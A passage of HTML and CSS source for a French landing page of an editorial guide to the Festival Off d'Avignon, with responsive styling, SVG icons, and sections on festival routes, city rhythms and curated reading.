.alo-wp-grid {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.alo-wp-card:nth-child(1),
.alo-wp-card:nth-child(5) {
grid-column: span 1;
}
.alo-category {
min-height: 108px;
padding: 12px;
border-radius: 20px;
}
.alo-category-title {
margin: 12px 0 0;
font-size: 1.12rem;
max-width: none;
}
.alo-category-copy {
display: none;
}
.alo-parcours-card {
min-height: 0;
border-radius: 24px;
}
.alo-parcours-copy {
padding: 11px;
gap: 6px;
}
.alo-category-index {
width: 34px;
height: 34px;
font-size: 0.82rem;
}
.alo-category-count {
font-size: 0.74rem;
}
.alo-benefit {
padding: 12px;
gap: 10px;
border-radius: 24px;
}
.alo-benefit-visual {
min-height: 122px;
border-radius: 18px;
}
.alo-benefit-copy-wrap {
padding: 6px;
}
.alo-benefit-title {
font-size: 1.58rem;
}
.alo-author .alo-about-visual {
min-height: 210px;
}
.alo-author-note {
gap: 12px;
padding: 14px;
}
.alo-method-step {
gap: 10px;
padding: 12px 0;
}
.alo-latest-card {
min-height: 184px;
border-radius: 22px;
}
.alo-latest-card .alo-fixed-image {
min-height: 104px;
}
.alo-latest-card .alo-post-body {
gap: 8px;
padding: 12px;
}
.alo-latest-card .alo-post-title {
font-size: 1.02rem !important;
line-height: 1.06;
}
.alo-wp-shell {
grid-template-columns: 1fr;
}
.alo-wp-visual {
display: none;
}
.alo-wp-card {
min-height: 112px;
padding: 12px;
border-radius: 22px;
}
.alo-wp-count {
font-size: 1.6rem;
}
.alo-wp-name {
font-size: 1.08rem;
}
.alo-faq-item details {
padding: 12px 0;
}
.alo-faq-item summary {
font-size: 0.92rem;
line-height: 1.35;
}
.alo-faq-copy {
font-size: 0.86rem;
line-height: 1.4;
}
.alo-faq-outro {
grid-template-columns: 1fr;
gap: 12px;
padding: 14px;
}
.alo-faq-outro h3 {
font-size: 1.45rem;
margin-bottom: 8px;
}
}
@media (max-height: 960px) and (min-width: 801px) {
.alo-section:not(.alo-hero) > .alo-inner {
padding-block: 8px;
}
.alo-section-head {
margin-bottom: 22px;
}
.alo-section-head h2 {
font-size: clamp(2rem, 3.2vw, 3.6rem);
}
.alo-editorial-promise,
.alo-city-tempos,
.alo-curated,
.alo-author,
.alo-latest,
.alo-wp-categories,
.alo-faq,
.alo-benefits,
.alo-newsletter,
.alo-trust,
.alo-testimonials {
padding: 44px 0;
}
.alo-editorial-promise {
padding: 28px 0;
}
.alo-editorial-promise .alo-section-head {
margin-bottom: 16px;
}
.alo-editorial-promise .alo-section-head h2 {
font-size: clamp(1.92rem, 3vw, 3rem);
}
.alo-metrics-grid {
gap: 20px;
}
.alo-metric-list {
gap: 10px;
}
.alo-metric {
padding-top: 14px;
}
.alo-metric-value {
font-size: clamp(2rem, 4vw, 3.2rem);
}
.alo-metric-label {
margin-top: 6px;
font-size: 0.94rem;
line-height: 1.28;
}
.alo-metric-copy {
font-size: 0.9rem;
line-height: 1.42;
}
.alo-metrics-side {
gap: 8px;
padding: 14px;
}
.alo-promise-visual {
min-height: 212px;
}
.alo-promise-visual-copy {
gap: 8px;
padding: 18px;
}
.alo-promise-visual-copy h3 {
font-size: clamp(1.5rem, 2.5vw, 2.2rem);
}
.alo-side-line {
padding-bottom: 8px;
}
.alo-curated-grid {
gap: 10px;
}
.alo-curated-lead-card {
min-height: 316px;
grid-template-rows: minmax(160px, 1fr) auto;
}
.alo-curated-feature-card {
min-height: 96px;
}
.alo-curated-side {
grid-template-columns: 1fr;
}
.alo-curated-body {
padding: 12px;
}
.alo-curated-lead-card .alo-curated-title {
font-size: clamp(1.7rem, 2.6vw, 2.5rem);
}
.alo-curated-feature-card .alo-curated-title {
font-size: 1.05rem;
}
.alo-curated-deck,
.alo-wp-card p,
.alo-wp-link,
.alo-wp-visual-copy p {
display: none;
}
.alo-wp-shell {
gap: 12px;
}
.alo-wp-visual {
min-height: 32svh;
}
.alo-wp-card {
min-height: 112px;
padding: 14px;
}
.alo-wp-count {
font-size: 1.7rem;
}
.alo-wp-name {
font-size: 1.08rem;
}
.alo-hero-wrap {
gap: 34px;
padding: 34px 0;
}
.alo-hero-title {
font-size: clamp(3.8rem, 8.4vw, 6.8rem);
}
.alo-hero-visual {
min-height: 540px;
}
.alo-author .alo-about-visual {
min-height: 380px;
}
.alo-about-grid {
gap: 22px;
}
.alo-quote {
font-size: clamp(1.4rem, 2vw, 2rem);
max-width: 10ch;
}
.alo-author .alo-quote,
.alo-author .alo-quote-source {
display: none;
}
.alo-author-note {
padding: 12px;
gap: 10px;
}
.alo-method-step {
padding: 8px 0;
}
}
@media (max-height: 640px) and (min-width: 801px) {
.alo-page {
row-gap: 38px;
}
.alo-section {
align-items: start;
height: auto;
max-height: none;
min-height: 100svh;
}
.alo-hero-wrap {
gap: 18px;
grid-template-columns: minmax(0, 1.04fr) minmax(300px, 0.96fr);
min-height: 100svh;
padding: 22px 0;
}
.alo-brand {
margin-bottom: 6px;
font-size: 0.78rem;
}
.alo-hero-title {
max-width: 9.8ch;
font-size: clamp(3rem, 7.1vw, 5rem);
line-height: 0.88;
word-spacing: 0.16em;
}
.alo-hero-copy {
max-width: 29rem;
margin-top: 12px;
font-size: 0.88rem;
line-height: 1.38;
}
.alo-hero-actions,
.alo-hero-chips,
.alo-hero-stats {
margin-top: 14px;
}
.alo-button-row {
gap: 10px;
}
.alo-button {
min-height: 42px;
padding: 0 16px;
font-size: 0.92rem;
}
.alo-chip-row {
gap: 8px;
}
.alo-chip {
min-height: 30px;
padding: 0 10px;
font-size: 0.76rem;
}
.alo-hero-stats {
gap: 10px;
}
.alo-stat {
padding-top: 10px;
}
.alo-stat-value {
font-size: clamp(1.45rem, 2.1vw, 1.9rem);
}
.alo-stat-label {
margin-top: 4px;
font-size: 0.74rem;
line-height: 1.22;
}
.alo-hero-visual {
min-height: 348px;
}
.alo-poster-stack {
inset: 12px 0;
gap: 8px;
padding: 12px;
border-radius: 24px;
}
.alo-hero-stage {
border-radius: 20px;
}
.alo-stage-note {
top: 12px;
left: 12px;
gap: 6px;
padding: 8px 10px;
font-size: 0.74rem;
}
.alo-poster-strip {
gap: 8px;
}
.alo-poster-tag,
.alo-poster-log {
padding: 8px 10px;
border-radius: 18px;
}
.alo-poster-tag strong,
.alo-poster-log strong {
font-size: 0.68rem;
}
.alo-poster-tag span,
.alo-poster-log span {
margin-top: 2px;
font-size: 0.78rem;
line-height: 1.24;
}
.alo-poster-log {
gap: 6px;
}
.alo-section:not(.alo-hero) > .alo-inner {
padding-block: 12px;
}
.alo-editorial-promise,
.alo-curated,
.alo-author,
.alo-newsletter,
.alo-wp-categories,
.alo-faq,
.alo-benefits,
.alo-trust,
.alo-testimonials,
.alo-city-tempos,
.alo-latest {
padding: 20px 0;
}
.alo-section-head {
gap: 6px;
margin-bottom: 10px;
}
.alo-section-head h2 {
font-size: clamp(1.55rem, 2vw, 2.2rem);
}
.alo-editorial-promise .alo-section-head h2,
.alo-curated .alo-section-head h2 {
font-size: clamp(1.38rem, 1.8vw, 1.95rem);
}
.alo-section-label {
gap: 8px;
font-size: 0.72rem;
letter-spacing: 0.16em;
}
.alo-copy,
.alo-editorial-promise .alo-copy,
.alo-curated .alo-copy {
font-size: 0.86rem;
line-height: 1.34;
}
.alo-metrics-grid,
.alo-about-grid,
.alo-newsletter-shell,
.alo-wp-shell,
.alo-faq-outro {
gap: 12px;
}
.alo-metrics-grid {
grid-template-columns: 1.04fr 0.96fr;
}
.alo-metric-list {
gap: 6px;
}
.alo-metric {
padding-top: 8px;
}
.alo-metric-value {
font-size: clamp(1.45rem, 2.2vw, 1.95rem);
}
.alo-metric-label {
margin-top: 3px;
font-size: 0.76rem;
line-height: 1.12;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-metric-copy {
font-size: 0.72rem;
line-height: 1.2;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-metrics-side {
gap: 4px;
padding: 10px;
border-radius: 24px;
}
.alo-promise-visual {
height: 126px;
min-height: 126px;
}
.alo-promise-visual-copy {
gap: 4px;
padding: 10px;
}
.alo-promise-visual-copy h3 {
max-width: 11ch;
font-size: clamp(1rem, 1.45vw, 1.35rem);
line-height: 0.94;
}
.alo-side-line {
align-items: start;
gap: 8px;
padding-bottom: 4px;
font-size: 0.74rem;
}
.alo-side-line span {
white-space: nowrap;
font-size: 0.72rem;
}
.alo-side-line strong {
font-size: 0.76rem;
line-height: 1.12;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-curated-grid {
gap: 8px;
}
.alo-curated .alo-copy {
display: none;
}
.alo-curated-lead-card {
height: 184px;
min-height: 184px;
grid-template-rows: 84px auto;
border-radius: 26px;
}
.alo-curated-feature-card {
min-height: 0;
border-radius: 24px;
}
.alo-curated-lead-card .alo-fixed-image {
height: 84px;
min-height: 0;
}
.alo-curated-feature-card .alo-curated-meta {
display: none;
}
.alo-curated-body {
gap: 4px;
padding: 7px 9px 8px;
}
.alo-curated-title {
display: -webkit-box;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-curated-lead-card .alo-curated-title {
font-size: clamp(0.98rem, 1.4vw, 1.24rem);
line-height: 0.92;
-webkit-line-clamp: 3;
}
.alo-curated-feature-card .alo-curated-title,
.alo-curated-feature-card .alo-curated-title {
font-size: 0.74rem;
line-height: 1;
-webkit-line-clamp: 2;
}
.alo-curated-meta {
font-size: 0.6rem;
letter-spacing: 0.1em;
}
.alo-curated-deck {
display: none;
}
.alo-categories .alo-copy,
.alo-latest .alo-copy,
.alo-wp-categories .alo-copy,
.alo-trust .alo-copy,
.alo-quiz > .alo-inner > .alo-section-head .alo-quiz-copy {
display: none;
}
.alo-categories-grid {
gap: 8px;
}
.alo-category {
min-height: 114px;
padding: 12px;
border-radius: 20px;
}
.alo-category::after {
width: 120px;
height: 120px;
}
.alo-category-title {
margin: 10px 0 0;
max-width: none;
font-size: 1rem;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-category-copy {
display: none;
}
.alo-category-index {
width: 30px;
height: 30px;
font-size: 0.72rem;
}
.alo-category-count {
font-size: 0.68rem;
}
.alo-benefits {
padding: 18px 0;
}
.alo-benefit-list {
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 8px;
}
.alo-benefit,
.alo-benefit:nth-child(even) {
grid-template-columns: 1fr;
gap: 8px;
padding: 10px;
border-radius: 22px;
}
.alo-benefit:nth-child(even) .alo-benefit-copy-wrap {
order: 0;
}
.alo-benefit-visual {
min-height: 104px;
border-radius: 16px;
}
.alo-benefit-copy-wrap {
gap: 6px;
padding: 4px;
}
.alo-benefit-tag {
font-size: 0.62rem;
}
.alo-benefit-title {
font-size: 1.1rem;
line-height: 0.95;
}
.alo-benefit-copy {
font-size: 0.76rem;
line-height: 1.24;
display: -webkit-box;
-webkit-line-clamp: 3;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-benefit-visual-copy {
gap: 4px;
padding: 10px;
}
.alo-benefit-visual-copy strong {
font-size: 0.94rem;
line-height: 1.02;
}
.alo-benefit-visual-copy span {
font-size: 0.64rem;
}
.alo-author .alo-about-visual {
height: 180px;
min-height: 0;
}
.alo-about-grid {
grid-template-columns: 0.84fr 1.16fr;
gap: 12px;
}
.alo-about-sticky {
position: static;
gap: 10px;
}
.alo-author .alo-section-head {
margin-bottom: 8px;
}
.alo-author .alo-section-head h2 {
font-size: clamp(1.32rem, 1.8vw, 1.8rem);
}
.alo-author-note {
gap: 8px;
padding: 10px;
}
.alo-author-note {
display: none;
}
.alo-author-method {
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 8px;
}
.alo-method-step {
grid-template-columns: 1fr;
gap: 6px;
padding: 8px 0 0;
}
.alo-method-step .alo-icon {
width: 1.8rem;
height: 1.8rem;
}
.alo-method-step strong {
margin-bottom: 4px;
font-size: 0.84rem;
}
.alo-method-step .alo-copy {
font-size: 0.72rem;
line-height: 1.24;
display: -webkit-box;
-webkit-line-clamp: 3;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-latest-grid {
gap: 8px;
}
.alo-latest-card {
min-height: 150px;
border-radius: 22px;
}
.alo-latest-card .alo-fixed-image {
height: 80px;
min-height: 80px;
}
.alo-latest-card .alo-post-body {
gap: 6px;
padding: 9px;
}
.alo-latest-card .alo-post-title {
font-size: 0.88rem !important;
line-height: 1.02;
display: -webkit-box;
-webkit-line-clamp: 3;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-latest-card .alo-post-excerpt {
display: none;
}
.alo-latest-card .alo-post-meta {
font-size: 0.62rem;
}
.alo-wp-shell {
grid-template-columns: 1fr;
gap: 8px;
}
.alo-wp-visual {
display: none;
}
.alo-wp-grid {
grid-template-columns: repeat(5, minmax(0, 1fr));
gap: 8px;
}
.alo-wp-card,
.alo-wp-card:nth-child(1),
.alo-wp-card:nth-child(5) {
grid-column: span 1;
min-height: 96px;
padding: 10px;
border-radius: 20px;
}
.alo-wp-count {
gap: 4px;
font-size: 1.2rem;
}
.alo-wp-name {
font-size: 0.94rem;
}
.alo-wp-card p,
.alo-wp-link {
display: none;
}
.alo-trust {
padding: 20px 0;
}
.alo-trust-visual {
display: none;
}
.alo-trust-marquee {
gap: 6px;
margin-bottom: 10px;
}
.alo-trust-pill {
padding: 8px 10px;
font-size: 0.74rem;
}
.alo-trust-grid {
gap: 8px;
}
.alo-trust-card {
min-height: 0;
padding: 12px;
border-radius: 22px;
}
.alo-trust-card strong {
margin-bottom: 8px;
font-size: 1.06rem;
}
.alo-card-copy {
font-size: 0.78rem;
line-height: 1.26;
display: -webkit-box;
-webkit-line-clamp: 3;
-webkit-box-orient: vertical;
overflow: hidden;
}
.alo-quiz {
padding: 12px 0;
}
.alo-quiz > .alo-inner > .alo-section-head {
margin-bottom: 6px;
}
.alo-quiz .alo-section-head h2 {
font-size: clamp(1.28rem, 1.7vw, 1.75rem);
}
.alo-quiz-card {
min-height: 360px;
gap: 10px;
padding: 12px;
border-radius: 26px;
}
.alo-quiz-progress {
gap: 10px;
}
.alo-progress-track {
height: 8px;
}
.alo-progress-text {
min-width: 68px;
font-size: 0.76rem;
}
.alo-quiz-intro {
grid-template-columns: 1fr;
gap: 10px;
}
.alo-quiz-copy-panel {
gap: 10px;
}
.alo-quiz-intro .alo-kicker {
margin: 0;
font-size: 0.68rem;
}
.alo-quiz-intro .alo-hero-title {
font-size: clamp(1.65rem, 2.4vw, 2.25rem) !important;
line-height: 0.9 !important;
}
.alo-quiz-copy {
font-size: 0.82rem;
line-height: 1.28;
}
.alo-quiz-intro .alo-quiz-copy {
display: none;
}
.alo-quiz-badges {
gap: 6px;
}
.alo-quiz-badge {
padding: 8px;
border-radius: 16px;
}
.alo-quiz-badge strong {
margin-bottom: 4px;
font-size: 0.88rem;
}
.alo-quiz-badge span {
display: none;
}
.alo-quiz-intro-visual {
display: none;
}
.alo-quiz-intro-visual-copy {
gap: 4px;
padding: 10px;
}
.alo-quiz-intro-visual-copy h3 {
font-size: 0.88rem;
line-height: 0.94;
}
.alo-question-card {
gap: 12px;
}
.alo-question-card h3 {
font-size: clamp(1.02rem, 1.5vw, 1.45rem);
max-width: 20ch;
}
.alo-options {
grid-template-columns: repeat(4, minmax(0, 1fr));
gap: 8px;
}
.alo-option {
min-height: 82px;
gap: 6px;
padding: 10px;
}
.alo-option-text {
font-size: 0.78rem;
line-height: 1.2;
}
.alo-quiz-feedback {
min-height: 20px;
font-size: 0.78rem;
}
.alo-quiz-result {
grid-template-columns: 1fr 0.88fr;
gap: 12px;
}
.alo-result-panel,
.alo-result-side {
padding: 16px;
border-radius: 20px;
}
.alo-side-stamp {
width: 64px;
height: 64px;
font-size: 1.2rem;
}
.alo-result {
padding: 14px;
border-radius: 16px;
}
.alo-result h3 {
margin-bottom: 6px;
font-size: 1.3rem;
}
.alo-result-copy,
.alo-result-side .alo-quiz-copy {
font-size: 0.8rem;
line-height: 1.28;
}
.alo-checklist {
padding-left: 16px;
font-size: 0.8rem;
line-height: 1.4;
}
.alo-result-actions {
gap: 8px;
}
.alo-faq {
padding: 20px 0;
}
.alo-faq-grid {
gap: 10px;
}
.alo-faq-item details {
padding: 10px 0;
}
.alo-faq-item summary {
font-size: 0.82rem;
line-height: 1.24;
}
.alo-faq-copy {
padding-top: 8px;
font-size: 0.74rem;
line-height: 1.26;
}
.alo-faq-outro {
gap: 10px;
margin-top: 10px;
padding: 12px;
}
.alo-faq-outro h3 {
margin-bottom: 6px;
font-size: 1.1rem;
}
.alo-faq-outro .alo-copy {
font-size: 0.78rem;
line-height: 1.26;
}
}
</style>
<body>
<svg aria-hidden="true" style="position:absolute;width:0;height:0;overflow:hidden">
<symbol id="i-map-pin" viewbox="0 0 24 24"><path d="M20 10c0 4.993-5.539 10.193-7.399 11.799a1 1 0 0 1-1.202 0C9.539 20.193 4 14.993 4 10a8 8 0 0 1 16 0"></path><circle cx="12" cy="10" r="3"></circle></symbol>
<symbol id="i-sun" viewbox="0 0 24 24"><circle cx="12" cy="12" r="4"></circle><path d="M12 2v2"></path><path d="M12 20v2"></path><path d="m4.93 4.93 1.41 1.41"></path><path d="m17.66 17.66 1.41 1.41"></path><path d="M2 12h2"></path><path d="M20 12h2"></path><path d="m6.34 17.66-1.41 1.41"></path><path d="m19.07 4.93-1.41 1.41"></path></symbol>
<symbol id="i-moon-star" viewbox="0 0 24 24"><path d="M12 3a6 6 0 0 0 9 9 9 9 0 1 1-9-9"></path><path d="M19 3v4"></path><path d="M21 5h-4"></path></symbol>
<symbol id="i-coffee" viewbox="0 0 24 24"><path d="M10 2v2"></path><path d="M14 2v2"></path><path d="M16 8a1 1 0 0 1 1 1v6a4 4 0 0 1-4 4H7a4 4 0 0 1-4-4V9a1 1 0 0 1 1-1Z"></path><path d="M17 8h1a4 4 0 1 1 0 8h-1"></path><path d="M6 2v2"></path></symbol>
<symbol id="i-tickets" viewbox="0 0 24 24"><path d="M2 9a3 3 0 0 0 0 6v2a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-2a3 3 0 0 1 0-6V7a2 2 0 0 0-2-2H4a2 2 0 0 0-2 2Z"></path><path d="M13 5v2"></path><path d="M13 11v2"></path><path d="M13 17v2"></path></symbol>
<symbol id="i-newspaper" viewbox="0 0 24 24"><path d="M15 18h-5"></path><path d="M18 14h-8"></path><path d="M18 10h-8"></path><path d="M21 5H3a1 1 0 0 0-1 1v13a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1Z"></path><path d="M7 8h.01"></path></symbol>
<symbol id="i-pen-square" viewbox="0 0 24 24"><path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7"></path><path d="M18.37 2.63a2.12 2.12 0 1 1 3 3L12 15l-4 1 1-4Z"></path></symbol>
<symbol id="i-scroll-text" viewbox="0 0 24 24"><path d="M15 12h-5"></path><path d="M15 8h-5"></path><path d="M19 17V5a2 2 0 0 0-2-2H4"></path><path d="M8 21h12a2 2 0 0 0 0-4H8a2 2 0 0 1 0-4h12"></path></symbol>
<symbol id="i-layout-grid" viewbox="0 0 24 24"><rect x="3" y="3" width="7" height="7" rx="1"></rect><rect x="14" y="3" width="7" height="7" rx="1"></rect><rect x="14" y="14" width="7" height="7" rx="1"></rect><rect x="3" y="14" width="7" height="7" rx="1"></rect></symbol>
<symbol id="i-mail" viewbox="0 0 24 24"><rect x="2" y="4" width="20" height="16" rx="2"></rect><path d="m22 7-10 6L2 7"></path></symbol>
<symbol id="i-badge-help" viewbox="0 0 24 24"><path d="M12 17h.01"></path><path d="M9.09 9a3 3 0 1 1 5.82 1c0 2-3 3-3 3"></path><path d="M20 13c0 5-3.5 7-8 7s-8-2-8-7a8 8 0 1 1 16 0Z"></path></symbol>
<symbol id="i-compass" viewbox="0 0 24 24"><circle cx="12" cy="12" r="10"></circle><path d="m16.24 7.76-2.12 6.36-6.36 2.12 2.12-6.36z"></path></symbol>
<symbol id="i-sparkles" viewbox="0 0 24 24"><path d="M9.94 15.56 12 22l2.06-6.44L20.5 13l-6.44-2.56L12 4 9.94 10.44 3.5 13z"></path><path d="M19 3v4"></path><path d="M21 5h-4"></path></symbol>
</svg>
<main class="alo-page">
<section class="alo-section alo-hero" id="hero">
<div class="alo-inner alo-hero-wrap">
<div class="alo-reveal">
<p class="alo-brand">Guide editorial du Festival Off</p>
<p class="alo-kicker">Avignon en grand, choix en clair</p>
<h1 class="alo-hero-title">Avignon Le Off</h1>
<p class="alo-hero-copy">
Le guide editorial qui aide a choisir, reserver et vivre le Festival Off
d'Avignon sans perdre du temps ni le fil.
</p>
<div class="alo-button-row alo-hero-actions">
<a class="alo-button alo-button-primary" href="#categories">Explorer les parcours</a>
<a class="alo-button alo-button-secondary" href="#interactive_quiz">Trouver son tempo</a>
</div>
<div class="alo-chip-row alo-hero-chips">
<span class="alo-chip">Spectacles a reperer</span>
<span class="alo-chip">Lieux a comprendre</span>
<span class="alo-chip">Pauses a mieux placer</span>
<span class="alo-chip">Nuits a ne pas rater</span>
</div>
<div class="alo-hero-stats">
<div class="alo-stat">
<span class="alo-stat-value">1 600+</span>
<span class="alo-stat-label">spectacles a reperer pendant le Off</span>
</div>
<div class="alo-stat">
<span class="alo-stat-value">140</span>
<span class="alo-stat-label">lieux et adresses a garder sous la main</span>
</div>
<div class="alo-stat">
<span class="alo-stat-value">31</span>
<span class="alo-stat-label">jours a arbitrer entre coups de coeur et plans malins</span>
</div>
</div>
</div>
<div class="alo-hero-visual alo-reveal">
<div class="alo-poster-stack">
<div class="alo-hero-stage">
<div class="alo-stage-note">Poster vivant du Off</div>
<svg aria-hidden="true" viewbox="0 0 760 640">
<defs>
<lineargradient id="arch" x1="0%" x2="100%" y1="0%" y2="100%">
<stop offset="0%" stop-color="#f6d7a6"></stop>
<stop offset="54%" stop-color="#d98652"></stop>
<stop offset="100%" stop-color="#152340"></stop>
</lineargradient>
</defs>
<rect fill="url(#arch)" height="640" width="760"></rect>
<circle cx="380" cy="104" fill="rgba(255,244,226,0.76)" r="88"></circle>
<path d="M136 612V308c0-130 104-234 232-234s232 104 232 234v304" fill="none" stroke="rgba(255,247,236,0.74)" stroke-linecap="round" stroke-width="28"></path>
<path d="M182 612V350c0-106 84-190 186-190s186 84 186 190v262" fill="rgba(19,31,54,0.56)"></path>
<rect fill="rgba(17,26,45,0.5)" height="262" width="372" x="182" y="350"></rect>
<path d="M242 612V394h68v218zM340 612V428h72v184zM444 612V374h66v238z" fill="rgba(255,245,229,0.16)"></path>
<path d="M0 514C124 444 216 426 310 446s160 82 250 78 144-22 200-50V640H0z" fill="#14213d"></path>
<path d="M0 560c110-34 202-42 294-18s164 60 244 52 150-28 222-60v106H0z" fill="#10192c"></path>
<circle cx="130" cy="498" fill="#f0bf70" r="18"></circle>
<circle cx="614" cy="474" fill="#f0bf70" r="15"></circle>
</svg>
</div>
<div class="alo-poster-strip">
<div class="alo-poster-tag">
<strong>Matin</strong>
<span>Premiers reperes, selections courtes, salles ou il faut aller tot.</span>
</div>
<div class="alo-poster-tag">
<strong>Apres-midi</strong>
<span>Enchainements, respiration, quartier juste et energie qu'on garde.</span>
</div>
<div class="alo-poster-tag">
<strong>Nuit</strong>
<span>Derniers paris, longues discussions et spectacles qui changent la cadence.</span>
</div>
</div>
<div class="alo-poster-log">
<strong>Journal de bord</strong>
<span><em>11h20</em> <b>ouvrir Pepites du jour</b></span>
<span><em>17h10</em> <b>recadrer par quartier</b></span>
<span><em>22h35</em> <b>laisser une place a l'imprevu</b></span>
</div>
</div>
</div>
</div>
</section>
<section id="editorial_promise" class="alo-section alo-metrics alo-editorial-promise">
<div class="alo-inner alo-metrics-grid">
<div class="alo-reveal">
<div class="alo-section-head">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-compass"></use></svg></span>Entrer dans le Off</p>
<h2>Affiches partout, horaires qui se croisent, salles a vingt minutes l'une de l'autre: le bon tri commence dans la rue.</h2>
<p class="alo-copy">
Avignon Le Off aide a reperer un spectacle fort, a sentir le bon quartier, a reserver sans panique
et a garder assez d'air pour la sortie suivante.
</p>
</div>
<div class="alo-metric-list">
<div class="alo-metric">
<div class="alo-metric-value">8</div>
<p class="alo-metric-label">parcours pour choisir par heure, quartier ou humeur</p>
<p class="alo-metric-copy">Humour, jeunesse, danse, lieux a connaitre ou pause utile: chaque entree part d'un vrai moment du festival.</p>
</div>
<div class="alo-metric">
<div class="alo-metric-value">10</div>
<p class="alo-metric-label">lectures pour sentir salles, voix et rumeurs du soir</p>
<p class="alo-metric-copy">De quoi dresser une premiere liste avant les files, les tracts et les arbitrages de derniere minute.</p>
</div>
<div class="alo-metric">
<div class="alo-metric-value">4</div>
<p class="alo-metric-label">reperes frais sur la ville, les files et les trajets</p>
<p class="alo-metric-copy">Le flux automatique garde les ajouts qui aident encore a vivre Avignon pendant le Off.</p>
</div>
<div class="alo-metric">
<div class="alo-metric-value">1</div>
<p class="alo-metric-label">obsession: finir la journee avec un programme tenable</p>
<p class="alo-metric-copy">Moins de detours inutiles, plus d'attention pour les spectacles.</p>
</div>
</div>
</div>
<div class="alo-metrics-side alo-reveal">
<div class="alo-promise-visual alo-fixed-image">
<img decoding="async" src="https://images.pexels.com/photos/30037004/pexels-photo-30037004.jpeg?auto=compress&cs=tinysrgb&w=1200" alt="Facade d'Avignon a l'heure ou les premiers choix de spectacles se dessinent" loading="lazy" />
<div class="alo-promise-visual-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-map-pin"></use></svg></span>Dans les rues</div>
<h3>Le premier bon choix se fait souvent avant la salle.</h3>
</div>
</div>
<div class="alo-side-line"><span>11 h</span><strong>Une premiere salle avant que les rues se resserrent</strong></div>
<div class="alo-side-line"><span>16 h</span><strong>Un trajet propre sous la chaleur et les files</strong></div>
<div class="alo-side-line"><span>22 h</span><strong>Une marge pour la sortie et le bouche-a-oreille</strong></div>
<div class="alo-side-line"><span>Resultat</span><strong>Un programme juste, sans fatigue vide a minuit</strong></div>
</div>
</div>
</section>
<section id="categories" class="alo-section alo-categories">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-tickets"></use></svg></span>Parcours du Off</p>
<h2>Cinq parcours pour choisir selon le moment, l'envie et le quartier.</h2>
<p class="alo-copy">
Le meme festival ne se vit pas pareil a 11 h, 17 h ou 22 h. Ces portes d'entree aident a trouver la bonne premiere piste
avant que les murs d'affiches prennent toute la place.
</p>
</div>
<div class="alo-categories-grid" id="parcours-grid"></div>
</div>
</section>
<section id="city_tempos" class="alo-section alo-city-tempos">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-map-pin"></use></svg></span>La ville en trois tempos</p>
<h2>Du cafe de 11 h aux discussions de minuit, Avignon n'a jamais la meme vitesse.</h2>
<p class="alo-copy">
Le matin sert au premier choix, l'apres-midi aux enchainements propres, la nuit aux conversations
qui font basculer un programme.
</p>
</div>
<div class="alo-tempo-grid">
<article class="alo-tempo-card alo-reveal">
<div class="alo-fixed-image">
<img decoding="async" src="https://images.pexels.com/photos/30037016/pexels-photo-30037016.jpeg?auto=compress&cs=tinysrgb&w=1200" alt="Rue calme d'Avignon en debut de journee" loading="eager" />
<div class="alo-tempo-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-sun"></use></svg></span>Matin</div>
<h3>Entrer dans le Off avant le vacarme.</h3>
<p>Les rues sont encore lisibles, les arbitrages aussi. C'est l'heure des premieres affiches prises au serieux et d'une salle choisie sans precipitation.</p>
</div>
</div>
</article>
<article class="alo-tempo-card alo-reveal">
<div class="alo-fixed-image">
<img decoding="async" src="https://images.pexels.com/photos/30037004/pexels-photo-30037004.jpeg?auto=compress&cs=tinysrgb&w=1200" alt="Rues d'Avignon a l'apres-midi" loading="lazy" />
<div class="alo-tempo-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-coffee"></use></svg></span>Apres-midi</div>
<h3>Enchainer sans s'abimer.</h3>
<p>Quand la chaleur monte et que les affiches se multiplient, une bonne pause et un trajet propre valent presque autant qu'un beau titre a 17 h.</p>
</div>
</div>
</article>
<article class="alo-tempo-card alo-reveal">
<div class="alo-fixed-image">
<img decoding="async" src="https://images.unsplash.com/photo-1514525253161-7a46d19cd819?auto=format&fit=crop&w=1800&q=80" alt="Avignon de nuit pendant le festival" loading="lazy" />
<div class="alo-tempo-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-moon-star"></use></svg></span>Nuit</div>
<h3>Finir avec un vrai soir fort, pas avec de la fatigue vide.</h3>
<p>Le Off change alors de temperature. Les files bruissent, les petites salles circulent dans les conversations et un bouche-a-oreille peut tout deplacer.</p>
</div>
</div>
</article>
</div>
</div>
</section>
<section id="curated_selection" class="alo-section alo-curated">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-newspaper"></use></svg></span>Selection du guide</p>
<h2>Quatre articles pour entrer dans Avignon, vite.</h2>
<p class="alo-copy">
Portraits, musiques, arts de la scene et reperes de ville: un premier noyau de lecture pour entrer dans Avignon sans se noyer.
</p>
</div>
<div class="alo-reveal">
<div id="curated-grid"></div>
</div>
</div>
</section>
<section id="benefits" class="alo-section alo-benefits">
<div class="alo-inner">
